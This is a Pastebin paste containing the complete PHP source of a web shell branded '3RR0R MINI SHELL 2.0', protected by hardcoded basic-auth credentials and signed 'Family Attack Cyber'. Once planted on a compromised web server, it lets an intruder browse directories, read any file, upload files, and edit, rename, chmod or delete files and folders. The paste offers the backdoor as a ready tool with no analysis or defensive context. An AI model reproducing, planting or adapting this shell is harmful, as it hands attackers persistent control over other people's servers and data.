phnxhxr

Untitled

Feb 8th, 2020
210
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 11.20 KB | None | 0 0
  1. <?php
  2. // --- pop-up
  3.  
  4. $user = "phnx";
  5.  
  6. $pass = "phnx";
  7.  
  8. if (($_SERVER["PHP_AUTH_USER"] != $user) || (($_SERVER["PHP_AUTH_PW"]) != $pass))
  9.  
  10. {
  11.  
  12. header("WWW-Authenticate: Basic realm=\"dvildance was here\"");
  13.  
  14. header("HTTP/1.0 401 Unauthorized");
  15.  
  16. exit();
  17.  
  18. }
  19.  
  20. // --- php shell
  21.  
  22. set_time_limit(0);
  23. error_reporting(0);
  24. if(get_magic_quotes_gpc()){
  25. foreach($_POST as $key=>$value){
  26. $_POST[$key] = stripslashes($value);
  27. }
  28. }
  29. echo '<!DOCTYPE HTML>
  30. <HTML>
  31. <HEAD>
  32. <link href="" rel="stylesheet" type="text/css">
  33. <title>[!] 3RR0R MINI SHELL 2.0 [!]</title>
  34. <style>
  35. body{
  36. font-family: "Iceberg", cursive;
  37. background-color: black;
  38. text-shadow:0px 0px 1px #757575;
  39. }
  40. #content tr:hover{
  41. background-color: green;
  42. text-shadow:0px 0px 10px #fff;
  43. }
  44. #content .first{
  45. background-color: green;
  46. }
  47. #content .first:hover{
  48. background-color: green;
  49. text-shadow:0px 0px 1px #757575;
  50. }
  51. table{
  52. border: 1px blue dotted;
  53. }
  54. H1{
  55. font-family: "Iceberg", cursive;
  56. }
  57. a{
  58. color: Green;
  59. text-decoration: none;
  60. }
  61. a:hover{
  62. color: blue;
  63. text-shadow:0px 0px 10px #ffffff;
  64. }
  65. input,select,textarea{
  66. border: 1px red solid;
  67. -moz-border-radius: 5px;
  68. -webkit-border-radius:5px;
  69. border-radius:5px;
  70. }
  71. </style>
  72. </HEAD>
  73. <BODY>
  74. <body background="http://i.imgur.com/n0YI7hX.jpg"></body>
  75. <H1><center><font color="blue">-=[[ 3RR0R MINI SHELL 2.0 ]]=-</center></H1>
  76. <table width="700" border="0" cellpadding="3" cellspacing="1" align="center">
  77. <tr><td>Location >> ';
  78. if(isset($_GET['path'])){
  79. $path = $_GET['path'];
  80. }else{
  81. $path = getcwd();
  82. }
  83. $path = str_replace('\\','/',$path);
  84. $paths = explode('/',$path);
  85.  
  86. foreach($paths as $id=>$pat){
  87. if($pat == '' && $id == 0){
  88. $a = true;
  89. echo '<a href="?path=/">/</a>';
  90. continue;
  91. }
  92. if($pat == '') continue;
  93. echo '<a href="?path=';
  94. for($i=0;$i<=$id;$i++){
  95. echo "$paths[$i]";
  96. if($i != $id) echo "/";
  97. }
  98. echo '">'.$pat.'</a>/';
  99. }
  100. echo '</td></tr><tr><td>';
  101. if(isset($_FILES['file'])){
  102. if(copy($_FILES['file']['tmp_name'],$path.'/'.$_FILES['file']['name'])){
  103. echo '<font color="green"> Mantap Sukses.. </font><br />';
  104. }else{
  105. echo '<font color="red"> Gagal Asuu.. </font><br />';
  106. }
  107. }
  108. echo '<form enctype="multipart/form-data" method="POST">
  109. Upload File : <input type="file" name="file" />
  110. <input type="submit" value="Upload" />
  111. </form>
  112. </td></tr>';
  113. if(isset($_GET['filesrc'])){
  114. echo "<tr><td>Loc >> ";
  115. echo $_GET['filesrc'];
  116. echo '</tr></td></table><br />';
  117. echo('<pre>'.htmlspecialchars(file_get_contents($_GET['filesrc'])).'</pre>');
  118. }elseif(isset($_GET['option']) && $_POST['opt'] != 'delete'){
  119. echo '</table><br /><center>'.$_POST['path'].'<br /><br />';
  120. if($_POST['opt'] == 'chmod'){
  121. if(isset($_POST['perm'])){
  122. if(chmod($_POST['path'],$_POST['perm'])){
  123. echo '<font color="green">Change Permission Done.</font><br />';
  124. }else{
  125. echo '<font color="red">Change Permission Error.</font><br />';
  126. }
  127. }
  128. echo '<form method="POST">
  129. Permission : <input name="perm" type="text" size="4" value="'.substr(sprintf('%o', fileperms($_POST['path'])), -4).'" />
  130. <input type="hidden" name="path" value="'.$_POST['path'].'">
  131. <input type="hidden" name="opt" value="chmod">
  132. <input type="submit" value="Go" />
  133. </form>';
  134. }elseif($_POST['opt'] == 'rename'){
  135. if(isset($_POST['newname'])){
  136. if(rename($_POST['path'],$path.'/'.$_POST['newname'])){
  137. echo '<font color="green">Change Name Done.</font><br />';
  138. }else{
  139. echo '<font color="red">Change Name Error.</font><br />';
  140. }
  141. $_POST['name'] = $_POST['newname'];
  142. }
  143. echo '<form method="POST">
  144. New Name : <input name="newname" type="text" size="20" value="'.$_POST['name'].'" />
  145. <input type="hidden" name="path" value="'.$_POST['path'].'">
  146. <input type="hidden" name="opt" value="rename">
  147. <input type="submit" value="Go" />
  148. </form>';
  149. }elseif($_POST['opt'] == 'edit'){
  150. if(isset($_POST['src'])){
  151. $fp = fopen($_POST['path'],'w');
  152. if(fwrite($fp,$_POST['src'])){
  153. echo '<font color="green">Edit File Done ~_^.</font><br />';
  154. }else{
  155. echo '<font color="red">Edit File Error ~_~.</font><br />';
  156. }
  157. fclose($fp);
  158. }
  159. echo '<form method="POST">
  160. <textarea cols=80 rows=20 name="src">'.htmlspecialchars(file_get_contents($_POST['path'])).'</textarea><br />
  161. <input type="hidden" name="path" value="'.$_POST['path'].'">
  162. <input type="hidden" name="opt" value="edit">
  163. <input type="submit" value="Go" />
  164. </form>';
  165. }
  166. echo '</center>';
  167. }else{
  168. echo '</table><br /><center>';
  169. if(isset($_GET['option']) && $_POST['opt'] == 'delete'){
  170. if($_POST['type'] == 'dir'){
  171. if(rmdir($_POST['path'])){
  172. echo '<font color="green">Delete Dir Done.</font><br />';
  173. }else{
  174. echo '<font color="red">Delete Dir Error.</font><br />';
  175. }
  176. }elseif($_POST['type'] == 'file'){
  177. if(unlink($_POST['path'])){
  178. echo '<font color="green">Delete File Done.</font><br />';
  179. }else{
  180. echo '<font color="red">Delete File Error.</font><br />';
  181. }
  182. }
  183. }
  184. echo '</center>';
  185. $scandir = scandir($path);
  186. echo '<div id="content"><table width="700" border="0" cellpadding="3" cellspacing="1" align="center">
  187. <tr class="first">
  188. <td><center>Name</center></td>
  189. <td><center>Size</center></td>
  190. <td><center>Permissions</center></td>
  191. <td><center>Options</center></td>
  192. </tr>';
  193.  
  194. foreach($scandir as $dir){
  195. if(!is_dir("$path/$dir") || $dir == '.' || $dir == '..') continue;
  196. echo "<tr>
  197. <td><a href=\"?path=$path/$dir\">$dir</a></td>
  198. <td><center>--</center></td>
  199. <td><center>";
  200. if(is_writable("$path/$dir")) echo '<font color="green">';
  201. elseif(!is_readable("$path/$dir")) echo '<font color="red">';
  202. echo perms("$path/$dir");
  203. if(is_writable("$path/$dir") || !is_readable("$path/$dir")) echo '</font>';
  204.  
  205. echo "</center></td>
  206. <td><center><form method=\"POST\" action=\"?option&path=$path\">
  207. <select name=\"opt\">
  208. <option value=\"\"></option>
  209. <option value=\"delete\">Delete</option>
  210. <option value=\"chmod\">Chmod</option>
  211. <option value=\"rename\">Rename</option>
  212. </select>
  213. <input type=\"hidden\" name=\"type\" value=\"dir\">
  214. <input type=\"hidden\" name=\"name\" value=\"$dir\">
  215. <input type=\"hidden\" name=\"path\" value=\"$path/$dir\">
  216. <input type=\"submit\" value=\">\" />
  217. </form></center></td>
  218. </tr>";
  219. }
  220. echo '<tr class="first"><td></td><td></td><td></td><td></td></tr>';
  221. foreach($scandir as $file){
  222. if(!is_file("$path/$file")) continue;
  223. $size = filesize("$path/$file")/1024;
  224. $size = round($size,3);
  225. if($size >= 1024){
  226. $size = round($size/1024,2).' MB';
  227. }else{
  228. $size = $size.' KB';
  229. }
  230.  
  231. echo "<tr>
  232. <td><a href=\"?filesrc=$path/$file&path=$path\">$file</a></td>
  233. <td><center>".$size."</center></td>
  234. <td><center>";
  235. if(is_writable("$path/$file")) echo '<font color="green">';
  236. elseif(!is_readable("$path/$file")) echo '<font color="red">';
  237. echo perms("$path/$file");
  238. if(is_writable("$path/$file") || !is_readable("$path/$file")) echo '</font>';
  239. echo "</center></td>
  240. <td><center><form method=\"POST\" action=\"?option&path=$path\">
  241. <select name=\"opt\">
  242. <option value=\"Option\"></option>
  243. <option value=\"delete\">Delete</option>
  244. <option value=\"chmod\">Chmod</option>
  245. <option value=\"rename\">Rename</option>
  246. <option value=\"edit\">Edit</option>
  247. </select>
  248. <input type=\"hidden\" name=\"type\" value=\"file\">
  249. <input type=\"hidden\" name=\"name\" value=\"$file\">
  250. <input type=\"hidden\" name=\"path\" value=\"$path/$file\">
  251. <input type=\"submit\" value=\">\" />
  252. </form></center></td>
  253. </tr>";
  254. }
  255. echo '</table>
  256. </div>';
  257. }
  258. echo '<center><br /><font color="red"> Family Attack Cyber </font></center>
  259. </BODY>
  260. </HTML>';
  261. function perms($file){
  262. $perms = fileperms($file);
  263.  
  264. if (($perms & 0xC000) == 0xC000) {
  265. // Socket
  266. $info = 's';
  267. } elseif (($perms & 0xA000) == 0xA000) {
  268. // Symbolic Link
  269. $info = 'l';
  270. } elseif (($perms & 0x8000) == 0x8000) {
  271. // Regular
  272. $info = '-';
  273. } elseif (($perms & 0x6000) == 0x6000) {
  274. // Block special
  275. $info = 'b';
  276. } elseif (($perms & 0x4000) == 0x4000) {
  277. // Directory
  278. $info = 'd';
  279. } elseif (($perms & 0x2000) == 0x2000) {
  280. // Character special
  281. $info = 'c';
  282. } elseif (($perms & 0x1000) == 0x1000) {
  283. // FIFO pipe
  284. $info = 'p';
  285. } else {
  286. // Unknown
  287. $info = 'u';
  288. }
  289.  
  290. // Owner
  291. $info .= (($perms & 0x0100) ? 'r' : '-');
  292. $info .= (($perms & 0x0080) ? 'w' : '-');
  293. $info .= (($perms & 0x0040) ?
  294. (($perms & 0x0800) ? 's' : 'x' ) :
  295. (($perms & 0x0800) ? 'S' : '-'));
  296.  
  297. // Group
  298. $info .= (($perms & 0x0020) ? 'r' : '-');
  299. $info .= (($perms & 0x0010) ? 'w' : '-');
  300. $info .= (($perms & 0x0008) ?
  301. (($perms & 0x0400) ? 's' : 'x' ) :
  302. (($perms & 0x0400) ? 'S' : '-'));
  303.  
  304. // World
  305. $info .= (($perms & 0x0004) ? 'r' : '-');
  306. $info .= (($perms & 0x0002) ? 'w' : '-');
  307. $info .= (($perms & 0x0001) ?
  308. (($perms & 0x0200) ? 't' : 'x' ) :
  309. (($perms & 0x0200) ? 'T' : '-'));
  310.  
  311. return $info;
  312. }
  313.  
  314. ?>
  315. <center><H2>
  316. <SCRIPT>
  317.  
  318. farbbibliothek = new Array();
  319. farbbibliothek[0] = new Array("#FF0000","#FF1100","#FF2200","#FF3300","#FF4400","#FF5500","#FF6600","#FF7700","#FF8800","#FF9900","#FFaa00","#FFbb00","#FFcc00","#FFdd00","#FFee00","#FFff00","#FFee00","#FFdd00","#FFcc00","#FFbb00","#FFaa00","#FF9900","#FF8800","#FF7700","#FF6600","#FF5500","#FF4400","#FF3300","#FF2200","#FF1100");
  320. farbbibliothek[1] = new Array("#FF0000","#FFFFFF","#FFFFFF","#FF0000");
  321. farbbibliothek[2] = new Array("#FFFFFF","#FF0000","#FFFFFF","#FFFFFF","#FFFFFF","#FFFFFF","#FFFFFF","#FFFFFF","#FFFFFF","#FFFFFF","#FFFFFF","#FFFFFF","#FFFFFF","#FFFFFF","#FFFFFF","#FFFFFF","#FFFFFF","#FFFFFF","#FFFFFF","#FFFFFF","#FFFFFF","#FFFFFF","#FFFFFF","#FFFFFF","#FFFFFF","#FFFFFF","#FFFFFF","#FFFFFF","#FFFFFF","#FFFFFF","#FFFFFF","#FFFFFF","#FFFFFF","#FFFFFF","#FFFFFF","#FFFFFF");
  322. farbbibliothek[3] = new Array("#FF0000","#FF4000","#FF8000","#FFC000","#FFFF00","#C0FF00","#80FF00","#40FF00","#00FF00","#00FF40","#00FF80","#00FFC0","#00FFFF","#00C0FF","#0080FF","#0040FF","#0000FF","#4000FF","#8000FF","#C000FF","#FF00FF","#FF00C0","#FF0080","#FF0040");
  323. farbbibliothek[4] = new Array("#FF0000","#EE0000","#DD0000","#CC0000","#BB0000","#AA0000","#990000","#880000","#770000","#660000","#550000","#440000","#330000","#220000","#110000","#000000","#110000","#220000","#330000","#440000","#550000","#660000","#770000","#880000","#990000","#AA0000","#BB0000","#CC0000","#DD0000","#EE0000");
  324. farbbibliothek[5] = new Array("#FF0000","#FF0000","#FF0000","#FFFFFF","#FFFFFF","#FFFFFF");
  325. farbbibliothek[6] = new Array("#FF0000","#FDF5E6");
  326. farben = farbbibliothek[4];
  327. function farbschrift()
  328. {
  329. for(var i=0 ; i<Buchstabe.length; i++)
  330. {
  331. document.all["a"+i].style.color=farben[i];
  332. }
  333. farbverlauf();
  334. }
  335. function string2array(text)
  336. {
  337. Buchstabe = new Array();
  338. while(farben.length<text.length)
  339. {
  340. farben = farben.concat(farben);
  341. }
  342. k=0;
  343. while(k<=text.length)
  344. {
  345. Buchstabe[k] = text.charAt(k);
  346. k++;
  347. }
  348. }
  349. function divserzeugen()
  350. {
  351. for(var i=0 ; i<Buchstabe.length; i++)
  352. {
  353. document.write("<span id='a"+i+"' class='a"+i+"'>"+Buchstabe[i] + "</span>");
  354. }
  355. farbschrift();
  356. }
  357. var a=1;
  358. function farbverlauf()
  359. {
  360. for(var i=0 ; i<farben.length; i++)
  361. {
  362. farben[i-1]=farben[i];
  363. }
  364. farben[farben.length-1]=farben[-1];
  365. setTimeout("farbschrift()",30);
  366. }
  367. //
  368. var farbsatz=1;
  369. function farbtauscher()
  370. {
  371. farben = farbbibliothek[farbsatz];
  372. while(farben.length<text.length)
  373. {
  374. farben = farben.concat(farben);
  375. }
  376. farbsatz=Math.floor(Math.random()*(farbbibliothek.length-0.0001));
  377. }
  378. setInterval("farbtauscher()",10000);
  379. text ="Recoded 3RR0R @ 2017";//h
  380. string2array(text);
  381. divserzeugen();
  382. //document.write(text);
  383. </SCRIPT></H2></center>
Advertisement
Add Comment
Please, Sign In to add comment